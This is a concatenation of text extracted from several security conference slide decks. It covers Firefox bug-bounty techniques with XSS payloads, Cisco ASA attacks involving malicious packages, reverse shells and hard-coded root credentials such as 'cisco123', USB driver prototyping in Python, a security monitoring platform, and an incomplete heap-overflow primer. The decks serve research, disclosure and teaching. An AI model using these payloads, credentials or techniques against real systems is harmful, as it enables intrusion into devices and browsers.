(1998) at 18; House Commerce Comm., H. Rep. 105-551 Pt 2 (1998) at 38. 2 See WIPO Copyright Treaties Implementation Act and Online Copyright Liability Limitation Act: Hearing on H.R. 2281 and H.R. 2280 before the House Subcomm. on Courts and Intellectual Prop., 105th Cong., 1st sess. (Sept. 16, 1997) at 62 (testimony of Asst. Sec. of Commerce and Commissioner of Patents and Trademarks Bruce A. Lehman admitting that section 1201 went beyond the requirements of the WIPO Copyright Treaty). 3 For a full description of the events leading up to the enactment of the DMCA, see Jessica Litman, DIGITAL COPYRIGHT 89-150 (2000). 4 See Pamela Samuelson, Intellectual Property and the Digital Economy: Why the Anti-Circumvention Regulations Need to be Revised, 14 BERKELEY TECHNOLOGY L.J. 519, 537-57 (1999) (http://www.sims.berkeley.edu/~pam/papers.html) 5 See Professor Ross Anderson, Cambridge University, Declaration in Felten v. RIAA (Oct. 22, 2001), describing ways in which the DCMA is suppressing research into security weaknesses in SDMI watermarking technology: (http://www.eff.org/IP/DMCA/Felten_v_RIAA/20011022_anderson_decl.pdf). 6 111 F. Supp. 2d. 294 (S.D.N.Y. 2000), aff’d 273 F.3d 429 (2d Cir. 2001). 7 Sony Computer Entertainment, Inc. v. Connectix Corporation, 203 F.3d 596 (9th Cir. 2000). Unintended Consequences: Four Years Under the DMCA 10
pdf
Through the Competitive World of Bug Bounty Find Blue Oceans Muneaki Nishimura (nishimunea) Muneaki Nishimura (nishimunea) Weekend Bug Hunter Lecturer of Web Security of Security Camp in Japan Weekend Bug Hunter Lecturer of Web Security of Security Camp in Japan Found 30 Bugs in Firefox Received Reward of $70,000+ from Mozilla Bug 1065909 Bug 1109276 Bug 1162018 Bug 1196740 Bug 1223743 Bug 1069762 Bug 1148328 Bug 1162411 Bug 1198078 Bug 1224529 Bug 1080987 Bug 1149094 Bug 1164397 Bug 1207556 Bug 1224906 Bug 1101158 Bug 1157216 Bug 1190038 Bug 1208520 Bug 1224910 Bug 1102204 Bug 1158715 Bug 1190139 Bug 1208525 Bug 1227462 Bug 1106713 Bug 1160069 Bug 1192595 Bug 1208956 Bug 1258188 Bug Bounty Programs are Competitive Required a lot of time and techniques to avoid duplicates 1084981 - Poodlebleed https://bugzilla.mozilla.org/show_bug.cgi?id=1084981 Weekdays Weekend 4:00 7:00 Hunt Hunt 4:00 7:00 Hunting Time is Limited (4:00-7:00 AM) Give you some tips from my experience of Firefox bug bounty program Find and Create Uncontested Bounty Targets ”Fox-keh" (C) 2006 Mozilla Japan Tip #1 Find Bugs in Web Platforms • Browsers and networking features in OS are less competitive targets • There are common pitfalls but not widely known • Developers make similar mistakes whenever they introduce new features and try the same attack scenario on similar features Learn Known Bugs from Security Advisories Mozilla Foundation Security Advisories https://www.mozilla.org/en-US/security/advisories/ Example Improper Handling of HTTP Redirect evil.server browser victim.server Request to victim Location: evil Redirect to evil Final response from evil HTTP redirects if( request.url.indexOf('http://victim.server/') === 0 ) { resource = http.get(request.url); parse(resource); } Developers expect following code properly gets a response only from victim if( request.url.indexOf('http://victim.server/') === 0 ) { resource = http.get(request.url); parse(resource); } But still possible to load a resource from evil Resource from evil might be used due to redirect http.get(request.url); Similar bugs were found other than Firefox • Bug 1111834 - Cross-origin restriction bypass in navigator.sendBeacon • Bug 1164397 - Origin confusion in cache data of Service Workers • Bug 1196740 - Cross-origin restriction bypass in Subresource Integrity (SRI) Firefox • CVE-2015-6762 - Cross-origin restriction bypass in CSS Font Loading API Chrome • CVE-2016-1782 - Non-http port banning bypass in WebKit Safari ”Fox-keh" (C) 2006 Mozilla Japan Tip #2 Find Bugs in Unstable Features Firefox Nightly Builds https://nightly.mozilla.org/ e.g., Firefox Nightly, Chrome Beta and Dev Unstable Features in Dev. Builds are Eligible for Bounty Example Subresource Integrity (SRI) 2015.08.13 SRI has been enabled in Nightly 2015.08.20 Reported the first security bug in SRI After 7 days 2015.08.13 SRI has been enabled in Nightly Reported an origin confusion (Bug 1162018) on Nightly 41 at 2015.05 2016.01 - Implemented Service Workers on Firefox 44 Reported a privilege escalation (Bug 1227462) on Nightly 45 at 2015.11 2016.08 - Planned to introduce Web Extensions on Firefox 48 Reported a sandbox bypass (Bug 1106713) on Nightly 37 at 2014.12 2015.12 - Determined not to support HTML Imports on Firefox ”Fox-keh" (C) 2006 Mozilla Japan Tip #3 Find Bugs in Sub Products • Smartphones and Smart TV OS based on Firefox browser • All applications are made with HTML5 New bland name is B2G OS All applications are made with HTML5 All applications are made with HTML5 Type <s>pwn All applications are made with HTML5 Yes, we know • Pre-installed applications run with higher privilege • Protected with Content Security Policy (CSP) i.e. XSS doesn’t work • But HTML tag injection still works fine Example Special Iframe Tag Injection <iframe mozbrowser remote mozapp='app://fm.gaiamobile.org/manifest.webapp’ src='app://fm.gaiamobile.org/index.html' /> Firefox OS supports special iframe that can embed another app in the frame Embed FM Radio app. Inject special iframe Type <iframe mozbrowser mozapp…> FM Radio works Finally reported 7 similar bugs and Received reward of $20,000+ from Mozilla Bug 1065909 Bug 1109276 Bug 1162018 Bug 1196740 Bug 1223743 Bug 1069762 Bug 1148328 Bug 1162411 Bug 1198078 Bug 1224529 Bug 1080987 Bug 1149094 Bug 1164397 Bug 1207556 Bug 1224906 Bug 1101158 Bug 1157216 Bug 1190038 Bug 1208520 Bug 1224910 Bug 1102204 Bug 1158715 Bug 1190139 Bug 1208525 Bug 1227462 Bug 1106713 Bug 1160069 Bug 1192595 Bug 1208956 Bug 1258188 Firefox for Android • Firefox for Android is also in scope of their bounty program • There are many Android specific features and pitfalls e.g. improper intent handling Example UXSS in Intent URL Scheme <a href='intent://maps.google.com/maps#Intent;scheme=http; package=com.google.android.apps.map; S.browser_fallback_url=https%3A%2F%2Fmaps.google.com;end'> Intent scheme URL links let you launch another app from a web page <a href='intent://maps.google.com/maps#Intent;scheme=http; package=com.google.android.apps.map; S.browser_fallback_url=https%3A%2F%2Fmaps.google.com;end'> Intent scheme URL link let you launch another app from a web page Application name you want to launch package=com.google.android.apps.map; S.browser_fallback_url Web site URL opened if application doesn’t exist <a href='intent://maps.google.com/maps#Intent;scheme=http; package=com.google.android.apps.map; S.browser_fallback_url=javascript%3Aalert(1);end'> Firefox unintentionally allowed to use any kinds of URL as a fallback javascript%3Aalert(1) JavaScript URL also does work Attacker w = window.open( victim ) Victim Attacker Victim Attacker w.location = 'intent:…' Victim Attacker Specified JS runs on another origin Firefox for iOS • Firefox for iOS is eligible for a bounty but not officially announced • Due to Apple’s restriction, Firefox for iOS uses WKWebView for loading and rendering web contents • Flaw in WKWebView is ineligible since it’s out of control of Mozilla Example XSS in Browser Internal Page Firefox for iOS distributes browser internal pages from local web server http://localhost:6571 /about/home http://localhost:6571 /about/license Firefox for Desktop Firefox for iOS about:home about:license Feature of Firefox for restoring previous browsing session after crash about:sessionrestore • Firefox for iOS hosts session restoration feature on http://localhost:6571/about/sessionrestore • Restoring URL can be set by query parameter ”history” mozilla/firefox-ios/SessionRestore.html,3Github https://github.com/mozilla/firefox-ios/blob/6ab27d75e0c3365b1decffff678072a9224f149f/Client/Assets/SessionRestore.html “history” is parsed as JSON and finally set to window.location SessionRestore.html http://localhost:6571/about/sessionrestore? history= {"history":[” javascript:alert(document.domain) "]} Any page can trigger XSS on localhost To avoid contested targets try to find bugs in… Conclusion • Web Platform • Unstable Features • Sub Products
pdf
Do Not Trust the ASA, Trojans! Jacob Baines Lead Security Researcher, Rapid7 August 11, 2022 2 Introduction Adaptive Security Appliance (ASA) Original ASA ASA-X ASA-X with FirePOWER Services 3 ASAv Product Landing Page Introduction ASA Virtual Appliance (ASAv) 4 Firepower 9300 Series Firepower 1000 Series Firepower 2100 Series Firepower 4100 Series Secure Firewall 3100 Series Secure Firewall ISA3000 ASA Service Module ASA Software Landing Page Introduction Sort of ASA 5 Introduction Adaptive Security Appliance (ASA) 6 Introduction Do Not Trust the ASA 7 ASDM Product Landing Page Introduction Adaptive Security Device Manager (ASDM) 8 Request pdm.sgz pdm.sgz Admin session Load and execute SGZ contents Understanding ASDM Starting ASDM Client Overview 9 Exploiting ASDM ASDM Client Does Not Verify the Server Cert 10 Exploiting ASDM ASDM/ASA Man in the Middle 11 Exploiting ASDM Man in the Middle with mitmproxy 12 Contents of 7.18.1 SGZ - 13472 class files - 6 jars - 1 prop file - 4 properties files - 3 txt files - 1 SIGNATURE files github.com/jbaines-r7/getchoo Exploiting ASDM What’s in the SGZ? 13 Cisco ASDM RCE Vulnerability (CVE-2021-1585) Exploiting ASDM SGZ Client Logic Isn’t Verified (CVE-2021-1585) 14 1. Administrator connects to attacker using the ASDM client 2. The attacker responds with a malicious SGZ file. 3. A reverse shell is established from the Administrator to the attacker Exploiting ASDM CVE-2021-1585 Exploited via Evil Endpoint 15 Exploitation - Missing SSL verification (No CVE) plus SGZ code not verified (CVE-2021-1585) - Evil endpoint or Man in the Middle CVE-2021-1585 - Disclosed in July 2021 with no patch - Failed patch in June 2022 - Remains unpatched as of July 2022 Public Exploits - staystaystay - Metasploit module github.com/jbaines-r7/cisco_asa_research/ tree/main/modules/cve_2021_1585 github.com/jbaines-r7/staystaystay Exploiting ASDM CVE-2021-1585 Exploits 16 Crafting a Malicious ASDM Package Hacker Cat Can’t Get Inside Corpnet 17 Crafting a Malicious ASDM Package Unless… We Modify the SGZ on the ASA! 18 Crafting a Malicious ASDM Package How Does the SGZ Get On the ASA? 19 Header Manifest Files Magic Description File length Hash Filename Data offset Data length Filename Data offset Data length Filename Data offset Data length Raw Data Crafting a Malicious ASDM Package ASDM Binary Package Format 20 Header Manifest Files Magic Description File length Hash Filename Data offset Data length Filename Data offset Data length Filename Data offset Data length Raw Data Crafting a Malicious ASDM Package Is this a Security Feature? 21 Header Manifest Files Magic Description File length Hash Filename Data offset Data length Filename Data offset Data length Filename Data offset Data length Raw Data Crafting a Malicious ASDM Package Nope, Just an MD5 Hash 22 Crafting a Malicious ASDM Package Missing ASDM Package Verification (CVE-2022-20829) 23 Crafting a Malicious ASDM Package ASA Will Host Any ASDM Package 24 Filename Data offset Data length Filename Data offset Data length Header Manifest Files Magic Description File length Hash Filename Data offset Data length Raw Data 1. asdm50-install.msi 2. asdmversion.html 3. dm-launcher.dmg 4. dm-launcher.msi 5. pdm.sgz 6. pdmversion.html 7. public/asa-pix.gif 8. public/asdm.jnlp 9. public/asdm32.gif 10. public/cert.jnlp 11. public/cisco.gif 12. public/deployJava.js 13. public/dm-launcher.jar 14. public/index.html 15. public/jploader.jar 16. public/lzma.jar 17. public/retroweaver-rt-2.0.jar 18. public/startup.jnlp 19. version.prop Crafting a Malicious ASDM Package ASDM Binary Package Contents 25 Filename Data offset Data length Filename Data offset Data length Header Manifest Files Magic Description File length Hash Filename Data offset Data length Raw Data 1. asdm50-install.msi 2. asdmversion.html 3. dm-launcher.dmg 4. dm-launcher.msi 5. pdm.sgz 6. pdmversion.html 7. public/asa-pix.gif 8. public/asdm.jnlp 9. public/asdm32.gif 10. public/cert.jnlp 11. public/cisco.gif 12. public/deployJava.js 13. public/dm-launcher.jar 14. public/index.html 15. public/jploader.jar 16. public/lzma.jar 17. public/retroweaver-rt-2.0.jar 18. public/startup.jnlp 19. version.prop Crafting a Malicious ASDM Package ASDM Binary Package Contains pdm.sgz 26 The Way - Parses and extracts ASDM packages - Rebuilds ASDM packages - Generates ASDM packages CVE-2022-20829 - Disclosed to Cisco in February 2022 - ASA Software fix planned for August 2022 github.com/jbaines-r7/theway Crafting a Malicious ASDM Package Extracting Cisco ASDM Binary Packages 27 The Way - Parses and extracts ASDM packages - Rebuilds ASDM packages - Generates ASDM packages CVE-2022-20829 - Disclosed to Cisco in February 2022 - ASA Software fix planned for August 2022 github.com/jbaines-r7/theway Crafting a Malicious ASDM Package Building Cisco ASDM Binary Packages 28 The Way - Parses and extracts ASDM packages - Rebuilds ASDM packages - Generates ASDM packages CVE-2022-20829 - Disclosed to Cisco in February 2022 - ASA Software fix planned for August 2022 github.com/jbaines-r7/theway Crafting a Malicious ASDM Package Generating Malicious ASDM Binary Packages 29 Crafting a Malicious ASDM Package Malicious Cisco ASA 30 ??? Crafting a Malicious ASDM Package How To Get Malicious ASDM Package Installed?! 31 Crafting a Malicious ASDM Package Supply Chain 32 Remotely Rooting the ASA-X FirePOWER Module 33 Remotely Rooting the ASA-X FirePOWER Module ASA-X with FirePOWER Services 34 Recreation of Image Published by Cisco Remotely Rooting the ASA-X FirePOWER Module ASA-X with FirePOWER Services Explained 35 Remotely Rooting the ASA-X FirePOWER Module ASA-X with FirePOWER Services Explained 36 The command to invoke FirePOWER shell from ASA CLI The FirePOWER shell requires a new set of credentials (admin:Admin123) FirePOWER module shell Remotely Rooting the ASA-X FirePOWER Module Accessing the FirePOWER Module via Cisco CLI 37 Remotely Rooting the ASA-X FirePOWER Module expert Command Yields Root Shell 38 Remotely Rooting the ASA-X FirePOWER Module SSH Root Shell as a Feature 39 Remotely Rooting the ASA-X FirePOWER Module An Attacker’s Dream 40 Remotely Rooting the ASA-X FirePOWER Module Disable Root Shell via lockdown-sensor 41 Remotely Rooting the ASA-X FirePOWER Module ASDM Can Talk to the FirePOWER Module 42 Remotely Rooting the ASA-X FirePOWER Module ASDM Cannot Access the Root Shell 43 Remotely Rooting the ASA-X FirePOWER Module session sfr do `shell command` 44 Remotely Rooting the ASA-X FirePOWER Module session sfr do `shell command` 45 Remotely Rooting the ASA-X FirePOWER Module Tweetable Reverse Shell 46 Remotely Rooting the ASA-X FirePOWER Module session sfr do `ghost in the shell` 47 Remotely Rooting the ASA-X FirePOWER Module CVE-2022-20828: Authenticated RCE 48 Remotely Rooting the ASA-X FirePOWER Module ASDM Uses HTTP Basic Auth by Default 49 "ASDM Book 1" by Cisco Remotely Rooting the ASA-X FirePOWER Module Default Creds are <blank>:<blank> 50 ASDM Client Credential Logging - Assigned CVE-2022-20651 - We developed a Metasploit module that hunts out the leaked credentials github.com/jbaines-r7/cisco_asa_research/ tree/main/modules/cve_2022_20651 Remotely Rooting the ASA-X FirePOWER Module ASDM Logs Credentials to File 51 Remotely Rooting the ASA-X FirePOWER Module HTTP Brute-Force Protection Disabled by Default 52 ASDM HTTP Brute-Force - Generic HTTP brute-force won’t work due to user agent requirements. - Previous ASA brute-force modules hit the clientless VPN interface. - ASDM credentials can give privileged access and aid in network pivoting! - No shame in brute-force attacks. If it’s good enough for GRU, it’s good enough for you. github.com/jbaines-r7/cisco_asa_research/ tree/main/modules/asdm_bruteforce Remotely Rooting the ASA-X FirePOWER Module Metasploit ASDM Brute-Force Module 53 github.com/jbaines-r7/cisco_asa_research/ tree/main/modules/cve_2022_20828 Exploitation - Authenticated command injection over HTTP or SSH to establish a root shell within FirePOWER module VM. CVE-2022-20828 - Disclosed to vendor in March 2022 - Some versions patched in June 2022 - All patched by December 2022 Remotely Rooting the ASA-X FirePOWER Module CVE-2022-20828 Metasploit Module 54 Getting Root With an ASA-X FirePOWER Boot Image 55 Getting Root With an ASA-X FirePOWER Boot Image FirePOWER Module Not Installed, What Do? 56 Getting Root With an ASA-X FirePOWER Boot Image Get a Root Shell Using a FirePOWER Boot Image 57 1 2 ASA 5506-X with FirePOWER Services 6.2.3 Software Download Getting Root With an ASA-X FirePOWER Boot Image FirePOWER Module Installation 58 Install and Configure a FirePOWER Services Module on an ASA Platform Getting Root With an ASA-X FirePOWER Boot Image Install the FirePOWER Boot Image via Cisco CLI 59 Install and Configure a FirePOWER Services Module on an ASA Platform Getting Root With an ASA-X FirePOWER Boot Image Drop to the FirePOWER Boot Image Shell 60 Getting Root With an ASA-X FirePOWER Boot Image FirePOWER Boot Image Shell 61 cisco123 Getting Root With an ASA-X FirePOWER Boot Image Boot Image Root Shell via Hard-Coded Creds 62 Getting Root With an ASA-X FirePOWER Boot Image We’re Back! 63 Exploitation - Exploit hard-coded credential establish root shell on ASA-X with FirePOWER Services. Not a vulnerability - Disclosed to vendor in March 2022 - Vendor states this is not a vulnerability - Fixed in Boot Image 7.0+ - Unpatchable? No mechanism to stop loading of old boot images. Exploits - Python script - SSH Metasploit module github.com/jbaines-r7/cisco_asa_research/ tree/main/modules/boot_image_shell github.com/jbaines-r7/slowcheetah Getting Root With an ASA-X FirePOWER Boot Image Metasploit FirePOWER Boot Image Root Shell Module 64 Distributable Malicious FirePOWER Boot Image for ASA-X 65 Distributable Malicious FirePOWER Boot Image for ASA-X Hacker Cat Has No Access! 66 Distributable Malicious FirePOWER Boot Image for ASA-X FirePOWER Boot Image Is… A Generic Bootable Linux ISO 67 Distributable Malicious FirePOWER Boot Image for ASA-X Distribute a Malicious ISO / Boot Image? 68 Exploitation - Create a Tiny Core Linux Bootable ISO - Get Administrator to install it - Sends a reverse shell to configured IP:port Not a vulnerability - No security expectations for the boot image. - Doesn’t persist through reboots. Features - Reverse Shell - SSH - DOOM-ASCII github.com/jbaines-r7/pinchme Distributable Malicious FirePOWER Boot Image for ASA-X Pinch Me: Malicious Boot Image Creator 69 Distributable Malicious FirePOWER Boot Image for ASA-X Profit 70 Distributable Malicious FirePOWER Install Package for ASA-X 71 1 2 Distributable Malicious FirePOWER Install Package for ASA-X ASA-X FirePOWER Module Install Package 72 Distributable Malicious FirePOWER Install Package for ASA-X FirePOWER Boot Image Supports Signed Install Packages 73 Distributable Malicious FirePOWER Install Package for ASA-X FirePOWER Module Signed Install Package 74 Distributable Malicious FirePOWER Install Package for ASA-X FirePOWER Boot Image Supports Unsigned Install Packages 75 Distributable Malicious FirePOWER Install Package for ASA-X Distribute a Malicious Install Package? 76 Distributable Malicious FirePOWER Install Package for ASA-X FirePOWER Module Unsigned Install Package 77 Distributable Malicious FirePOWER Install Package for ASA-X Convert a Secure Package to an Insecure Package 78 Exploitation - Input valid and signed Cisco created package. Output valid unsigned package containing malicious code. - Persistent payload. Survive reboots and upgrades. Not a vulnerability - No security expectations on installation. github.com/jbaines-r7/whatsup Distributable Malicious FirePOWER Install Package for ASA-X Create Malicious Install Packages 79 Exploitation - Input valid and signed Cisco created package. Output valid unsigned package containing malicious code. - Persistent payload. Survive reboots and upgrades. Not a vulnerability - No security expectations on installation. github.com/jbaines-r7/whatsup Distributable Malicious FirePOWER Install Package for ASA-X Create Malicious Install Packages 80 Distributable Malicious FirePOWER Install Package for ASA-X Back Again! 81 Distributable Malicious FirePOWER Install Package for ASA-X …Not a Supply Chain Issue? 82 Exploitation Summary Do Not Trust the ASA? This Talk Discussed - Man in the middle problems - Credential leaks - Code signing issues - Package signing issues - Root shell as a feature - Hard-coded credentials for a root shell - Remote command injection for root access - Executing arbitrary bootable ISO 83 Indicators and Mitigations 84 Indicators and Mitigations Not This. Never This. 85 github.com/jbaines-r7/cisco_asa_research/blob/main/yara/ Indicators and Mitigations YARA Rules New YARA Rules - Detect malicious ASDM packages - Detect execution of malicious SGZ - Detect credentials in ASDM log files - Detect unsigned FirePOWER install packages 86 ● Eventually? ○ No patches planned for ASA-X with FirePOWER Services boot images or installation packages ○ CVE-2021-1585 still unpatched ○ CVE-2022-20829 still unpatched (maybe?) ○ CVE-2022-20828 patches planned through December 2022 ● What to do when patches aren’t available? ○ Mitigating controls: limit access and isolate ○ If possible, remove from network critical path ○ Rotate passwords ● What to do about the ASA-X with FirePOWER Services? ○ Multiple distributable root shell vectors ○ Virtual machine root shell is a default feature ○ If possible, accelerate retirement and replace ○ Audit the virtual machine root shell regularly ○ Audit Cisco CLI / ASDM logins regularly Indicators and Mitigations Apply ASA and ASDM Patches? 87 Thank you! Slides & Code: https://github.com/jbaines-r7/cisco_asa_research @jbaines-r7 @Junior_Baines @jbaines-r7
pdf
Go Go Gadget Python Nick Waite Furkan Cayçı Hardware for software people • Gadgets are cool • Writing drivers is not so easy – Usually done in C – Requires knowledge of low-level interfaces – Can easily crash your box • Many devices do not need compiled drivers – Low data rates – libUSB and other abstraction layers • Is there a way to “rapid prototype” drivers? – Fast, easy, fun – Cross-platform would be nice Python • A very handy scripting language • Modules for almost everything • Even hardware… – Pyserial – Pyparallel – PyUSB • Looks like a winner! Today’s Menu USB Serial The Serial Port • Electrical – Full-duplex – Hardware flow control (often not used) – [0] + [n]*n_bits + [1] – 0 = -3 to -15 volts, 1= 3 to 15 volts • Mechanical – DB-25, DE-9 • Often a USB device pretending to be serial port Handshaking and cables • Will add graphics later – Much of the confusion in serial land revolves around flow control and what kind to use • True hardware flow control – Fake local loopback flow control • Software flow control (XON/XOFF) • No flow control (most common nowadays) – DCE/DTE – which side are you? • Null modem cables Serial in python • It’s easy (mostly) • There are some gotchas, however >>> import serial >>> s = serial.Serial('/dev/ttyS1', 9600) >>> s.write("hello") >>> print s.readline() >>> s.close() On actually using pySerial • There are subtle issues with pyserial’s use in robust driver code – Timeouts – Flow control – Buffering – Alternating reads & writes • Flush ports! • TO BE COMPLETED LATER Actual gadgets • Demo showing actual code • Demo sniffing serial transactions with special cable? USB • A great example of a forward looking standard – Since 1996, still backward compatible! • Really is the universal bus – Ever seen a PS/2 fondue pot? – mmmm….cheese • Practically, most cool gadgets you will want to reverse-engineer are USB – Many will be HID-class USB made complicated • A Device has – Configuration(s) which have • Interface(s), which have – Endpoint(s) • Or, there’s HID – Decisions, decisions… USB made simple • Real USB devices are usually HID – Don’t need an OS driver • If not, then they usually have – 1 configuration, with • 1 interface, with – 1 endpoint – Sometimes 2 ( Biopac MP35 ) • Sometimes they’re a fake serial port PyUSB • Python wrapper for 3 USB libraries: openUSB, libUSB 0.x, libUSB 1.0 – Autodetects which is installed – I use libUSB 1.0 for best windows compatibility • Procedure: 1. Find device 2. Set interface 3. Read & write to your heart’s content 4. Close (if you don’t want python to do it) USB missile launcher example import usb.core, usb.util usb_device = usb.core.find(idVendor = 0x1941, idProduct = 0x8021) if not usb_device: raise usb.core.USBError('USB missile not detected') usb_device.set_configuration() status = usb_device.read(0x81, 8) Types of transfers • Bulk / Interrupt – The usual type for bulk data • Isochronous – For things that must be on time (won’t discuss) • Control – For control messages, config stuff – Just a bulk transfer to endpoint 0x0, with some extra data fields – For HID devices, this is how you write to them! PyUSB commands • FILL IN LATER Reverse-Engineering USB • Some companies don’t really want you to fully enjoy your hardware – Windows-only? – Crappy drivers? – Too bad! • That’s OK, we’ll make our own in python – But how to reverse the traffic? • First, we must sniff Sniff USB • Old & krunky • But it outputs a text log file • Python scripts to post-process – Eliminating useless cruft – Translating hex codes to opcodes – Scraping hex blocks into binary files for replay attacks or hex-editing • After processing, output corresponds to pyUSB function calls! Sniffing demo Specific Examples • Biopac MP35 was tough – Two separate drivers required • Stage 1: Cypress EZ-USB chip with soft firmware – Sent with control transfers • re-enumerates as new device! • Stage 2: TI DSP chip with soft firmware – Firmware sent to endpoint 1 – Actual operation done through endpoint 2 – Approximately 60 different commands, many modes – Lots of custom python code for that one Specific Examples • Dream Cheeky USB missile launcher – The code’s already online, but it made good practice – HID class device • Control motors with control transfers • Read limit switch status with bulk read • From zero to rough driver in about 30 minutes The recap • Python makes it fast and easy to do serious hardware control for serial & usb devices • Sniffing & reverse-engineering USB isn’t very hard • Did we say python is cool? • The scripts we use for USB sniffing & log cleanup are going to be online at: http://www.cvorg.ece.udel.edu/
pdf
构建安全监控平台 lion_00 CCIE 2011年11月 CISSP 2013年4月 安全爱好者 关于我: 安全监控应该怎么做 开源/商业 大量的告警有人看吗 怎么才可以让告警准确一些 监控的范围以及层次 以核心资源为中心进行保护 尽量将所有边界囊括其中 一 网络层 数据源:出口流量镜像 IDS:suricata 简单展示界面:BASE 报表展示:SNORBY 网络IDS 起到了眼睛的作用,绝大多数攻击 可以通过编辑网络IDS的规则便可以发现,比如SQLMAP, AWVS等等。 二 日志的存储与展示 数据源:出口流量镜像 将外部访问的HTTP/HTTPS数据从网络流量中提取出来,以便后续使用 三 访问日志(HTTP/HTTPS)&WEB 服务器日志 数据源:出口流量镜像 工具:E.L.K 四 主机层 数据源:主机IDS-OSSEC 展示界面 文件变更 端口变化 SYSLOG告警 五 网络边界 NMAP / 域名变更通知 对外端口开放情况 对外域名开放情况 六 审计设备 数据库审计 BASH 审计 。。。 有了以上这些,是否就已经足够了? 工具开发 策略优化 告警调整 性能调整 工具开发 策略优化 了解常见的黑客软件的签名 了解安全工具的相关特性 SURICATA ossec 日志分析 扫描报告 变更报告 堡垒机日 志。。。。 关联分析 告警调整 核心思想: 站在黑客的角度思考,设计 建立规则分析引擎,对事件进行关联分析 提高告警的准确度 例如:SURICATA 产生了发现菜刀的告警 ,同时OSSEC 产生文件变更告警 3次SSH 登录失败,与30次SSH 登录失败 SURICATA 发现SQL告警,同时日志分析处发现CODE 为200 交叉关联:事件与目标漏洞直接的关联 逻辑关联:事件之间的关联 检测内容: • IP访问频率 • URL访问频率 检测恶意行为: • 扫描/爬虫 • 暴力登录 • 平行权限 关于E.L.K SURICATA WEB日志 OSSEC 关联分析 告警 事件概率 离线分析 告警 SURICATA WEB日志 OSSEC Elasticsearch 离线分析 格式化 采用的关键技术
pdf
0x0000 they steal a way innocence and peace tho i'm a king i'm a king on my knees and i know they are wrong when they say i am strong as the darkness covers me j knapp remedial heap overflows dlmalloc style buffer overflows by atlas [email protected] http://atlas.r4780y.com 0x0100 - Intro to Buffer Overflows ● gets() / fgets()) – Man Page Notes: “Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead.“ ● str(n)cpy() / memcpy() ● rep movs (opcode) ● s/f/scanf() 0x0200 - The Heap ● Dynamically allocated storage ● Created using some sort of allocator - eg. malloc() ● Cleaned up using a deallocator – eg. free() ● Stack overflows are typically a matter of writing enough bytes to change RET ● Heap options are slightly different: ● Overwrite another variable on the heap ● EOS (NULL) Overwrite (var combination) ● Overwrite the Heap descriptors – delicate – implementation-specific – totally cool 0x0201-Kernel Chunk/Malloc Buffer ● The Operating System assigns a raw chunk of memory to a process, for dynamic allocation. – This is typically referred to as a Chunk ● The user-space management of this memory is up to the implementor. ● Each OS has a default, but you can write your own ● For this preso, I will use “chunk” and “buffer” both to refer to a malloc()ed memory buffer 0x0202 – buf = malloc(1024) ● This call allocates at least 1024 bytes from the kernel-provided memory-space. ● The virtual memory address where this buffer starts is stored in “buf” ● Because malloc() is low-level and called so frequently, the algorithms cannot do much processing, like sanity checking. ● For dlmalloc, *(buf-4) accesses the length of the buffer 0x0203 - free(buf) ● This call takes a previously malloc()ed buffer and marks it available for use by another call to malloc() ● Often, this memory chunk is inserted into a linked-list or array of “recycled” buffers for speedy reuse ● Because free() is low-level and called so frequently, the algorithms cannot do much processing, like sanity checking. 0x0204 - Example: Microsoft GDI ● JPEG buffer overflow ● September 2004 ● GDIscan – (major props to Tom Liston from Intelguardians) 0x0300 - Varietous Implementations – Doug Lea's Malloc / Free (our focus) ● Linux default – RTL and the Windows Heap – BSD phk ● BSDi, FreeBSD, OpenBSD – BSD kingsley ● 4.4BDS, AIX (compat), Ultrix – System V AT&T ● Solaris, IRIX – Yorktown ● AIX (default) 0x0301 - Doug Lea's Malloc (linux) ● Allocated chunks are preceded by a size ● Recycled chunks - basic doubly-linked list ● malloc() adds 4 bytes to the requested length, then pads to the next quadword (8-byte) boundary ● malloc(101) - allocates 112 bytes (0x70) ● sets aside 105 bytes (101+4) ● pads to next 8-byte multiple, which is 112 0x0302 - RTL and Win32 Heap ● For grins and to make lin0xx happy... ● RtlAllocateHeap() / RtlFreeHeap() ● Free()d chunks are maintained in an array of 127 doubly-linked lists – lists 2-127 store 16-1024 byte chunks ● ie. – for list 2, chunk size is 2*8 = 16bytes – for list 100, chunk size is 2*100 = 200bytes – list 0 stores >1024 byte chunks 0x0400 - Heap Descriptor ● Inband Allocation Descriptor – Duh! Was this architected for exploitation? ● If a heap chunk is in use, the allocation descriptor is one 32-bit integer immediately preceding the chunk ● If a heap chunk is not in use, the first 8 bytes and the last 4 bytes of the data are also used as 32-bit integers. Remember this... 0x0401 - Allocation Descriptor (used) ● malloc(101) struct heapchunk { long len char[101] char[padsize] } – Note: if the heapchunk is unused, it stays in memory (hoping to be recycled and further contribute to the environment). 0x0402 - Allocation Descriptor (free()-d) ● malloc(101) struct heapchunk { long len   (this is |PREV_INUSE) long prev  <­ address to prev  long next  <­ address to next char[93+x] long len2  <­ 4­byte aligned char[padsize­x] } – len is even or odd, depending on PREV_INUSE – len2 is always even (since the 3 LSBs are 0) 0x0500 - free() Algorithm ● If the node before or after are unused, the two are collapsed into one unused buffer using unlink() ● unlink() connects the adjacent chunks – node->next->prev = node->prev – node->prev->next = node->next ● hmmmm... prev and next for the next buffer come from the inband descriptor... which we just overwrote... ● Devil is in the details... pay close attention 0x0501 – ok. I'm lost. ● In-use memory buffer (adapted from “Once upon a free()”)              +­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­+     chunk ­> | prev_size (32bit long)  *        |              +­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­+              | size | PREV_INUSE (32bit long) **|              +­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­+       mem ­> | data                             |              : ...                              :              +­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­+ nextchunk ­> | prev_size (32bit long)           |              :      ...                         : * If prev buffer is used, prev_size is just part of the  buffer.  If not, it is the length of the previous chunk.   ** The least­significant­bit indicates whether the previous  chunk is in use.  If the number is odd, PREV_INUSE is set 0x0502 – Still lost... ● Unused memory buffer (also adapted)              +­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­+     chunk ­> | prev_size (32bit long) *         |              +­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­+              | size | PREV_INUSE (32bit long)** |              +­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­+       mem ­> | fd                               |              +­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­+              | 